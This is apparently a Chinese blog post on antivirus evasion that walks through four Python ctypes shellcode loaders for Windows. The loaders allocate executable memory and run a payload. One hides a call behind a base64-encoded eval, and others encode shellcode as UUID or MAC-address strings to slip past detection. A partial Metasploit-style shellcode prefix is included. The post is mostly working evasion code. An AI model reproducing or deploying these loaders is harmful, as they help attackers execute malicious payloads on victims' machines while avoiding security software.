python-shellcode加载器分析 因为最近在学习免杀,所以写个小文来分析一下py的shellcode加载器
shellcode:一段可以由电脑直接执行的机器码,执行后可以搭建起stranger。 加载器:将shellcode加载进内存,并开始执行的程序。
加载器1-普通型(失败 这个加载器就是要报内存地址的错误,本人学艺不精,暂时还无法解决,但我看和市面上的代码一样,所以还是拖过来做一个分析,至少可以了解其中的一些原理,估计是里面的类型的一些问题。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import ctypesimport base64import requests shellcode = b"" shellcode=bytearray (shellcode) ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64 ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0 ),ctypes.c_int(len (shellcode)),ctypes.c_int(0x3000 ),ctypes.c_int(0x40 )) buf = (ctypes.c_char * len (shellcode)).from_buffer(shellcode) s='Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ==' eval (base64.b64decode(s))handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0 ), ctypes.c_int(0 ), ctypes.c_int(ptr), ctypes.c_int(0 ), ctypes.c_int(0 ), ctypes.pointer(ctypes.c_int(0 )) ) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1 ))
在我将返回类型改成c_void_p以及一个指针改成c_void_p的时候,就不报错了,但是依然上不了线,留着明天来进行分析了
加载器2-普通型(成功 主要是利用ctypes库来调用windows的api来完成加载shellcode的操作
用的y4tacker师傅的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import ctypesVirtualAlloc = ctypes.windll.kernel32.VirtualAlloc RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory CreateThread = ctypes.windll.kernel32.CreateThread WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject buf = b"" shellcode = bytearray (buf) VirtualAlloc.restype = ctypes.c_void_p p = VirtualAlloc(ctypes.c_int(0 ), ctypes.c_int(len (shellcode)), 0x3000 , 0x00000040 ) buf = (ctypes.c_char * len (shellcode)).from_buffer(shellcode) RtlMoveMemory(ctypes.c_void_p(p), buf, ctypes.c_int(len (shellcode))) h = CreateThread(ctypes.c_int(0 ), ctypes.c_int(0 ), ctypes.c_void_p(p), ctypes.c_int(0 ), ctypes.c_int(0 ), ctypes.pointer(ctypes.c_int(0 ))) WaitForSingleObject(ctypes.c_int(h), ctypes.c_int(-1 ))
加载器3-UUID写入内存(成功 注意,这里的环境要使用py2
发现了去年有大佬写的一篇文章,随后拖过来进行分析
UUID: 通用唯一标识符 ( Universally Unique Identifier ), 对于所有的UUID它可以保证在空间和时间上的唯一性. 它是通过MAC地址, 时间戳, 命名空间, 随机数, 伪随机数来保证生成ID的唯一性, 有着固定的大小( 128 bit ). 它的唯一性和一致性特点使得可以无需注册过程就能够产生一个新的UUID. UUID可以被用作多种用途, 既可以用来短时间内标记一个对象, 也可以可靠的辨别网络中的持久性对象.
python有根据十六进制字符串生成UUID的函数uuid.UUID()
其中值得注意的是,16个字节转换一个uid值,\x00是一个字节,当不满16个的时候,可以添加\x00补充字数。(我生成的补充三个就可以,倍数是56)
1 2 3 4 5 6 7 8 import uuidscode = b'''aaaaaa''' list = []for i in range (int (len (scode)/16 )): bytes_a = scode[i*16 :16 +i*16 ] b = uuid.UUID(bytes_le=bytes_a) list .append(str (b)) print (list )
上面是一个将shellcode转为uuid的小脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import uuidimport ctypesshellcode = b"" uuid_list = [] for i in range (0 ,len (shellcode),16 ): cut_bytes = shellcode[i:i+16 ] uid = uuid.UUID(bytes_le=cut_bytes) uuid_list.append(str (uid)) print (uuid_list)ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0 ), ctypes.c_int(len (uuid_list)*16 ), ctypes.c_int(0x3000 ), ctypes.c_int(0x40 )) ptr1 = ptr for j in uuid_list: ctypes.windll.Rpcrt4.UuidFromStringA(j, ptr1) ptr1 += 16 handle = ctypes.windll.kernel32.CreateThread(0 , 0 , ptr, 0 , 0 , 0 ) ctypes.windll.kernel32.WaitForSingleObject(handle, -1 )
加载器4-MAC写入内存 注意,这个我也用的是python2的环境
看到刚刚的大佬,下面有个推荐文章mac写入内存,也顺便弄过来研究一下。
MAC地址也叫物理地址、硬件地址,由网络设备制造商生产时烧录在网卡的EPROM一种闪存芯片,通常可以通过程序擦写。IP地址与MAC地址在计算机里都是以二进制表示的,IP地址是32位的,而MAC地址则是48位(6个字节)的 。
RtlEthernetAddressToStringA
该函数是ntdll.dll库
的函数,可以把mac地址二进制格式转换为字符串表示。就两个参数,一个是二进制的mac地址,一个是缓冲区的指针,在该缓冲区中存储以NULL结尾的以太网地址字符串表示。此缓冲区应足够大以容纳至少18个字符串。
下面是一个加密脚本,将shellcode加密成mac地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import ctypesbuf = b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8..." shellcode = buf macmem = ctypes.windll.kernel32.VirtualAlloc(0 ,len (shellcode)/6 *17 ,0x3000 ,0x40 ) for i in range (len (shellcode)/6 ): bytes_a = shellcode[i*6 :6 +i*6 ] ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_a, macmem+i*17 ) a = ctypes.string_at(macmem, len (shellcode) * 3 - 1 ) list = []for i in range (len (shellcode)/6 ): d = ctypes.string_at(macmem+i*17 ,17 ) list .append(d) print (list )
这里是加载器,加载好mac地址
1 2 3 4 5 6 7 8 9 10 11 12 13 import ctypeslist = []ptr = ctypes.windll.kernel32.VirtualAlloc(0 ,len (list )*6 ,0x3000 ,0x04 ) rwxpage = ptr for i in range (len (list )): ctypes.windll.Ntdll.RtlEthernetStringToAddressA(list [i], list [i], rwxpage) rwxpage += 6 ctypes.windll.kernel32.VirtualProtect(ptr, len (list )*6 , 0x40 , ctypes.byref(ctypes.c_long(1 ))) handle = ctypes.windll.kernel32.CreateThread(0 , 0 , ptr, 0 , 0 , 0 ) ctypes.windll.kernel32.WaitForSingleObject(handle, -1 )
目前就找到这么多,如果后续有还会更新的。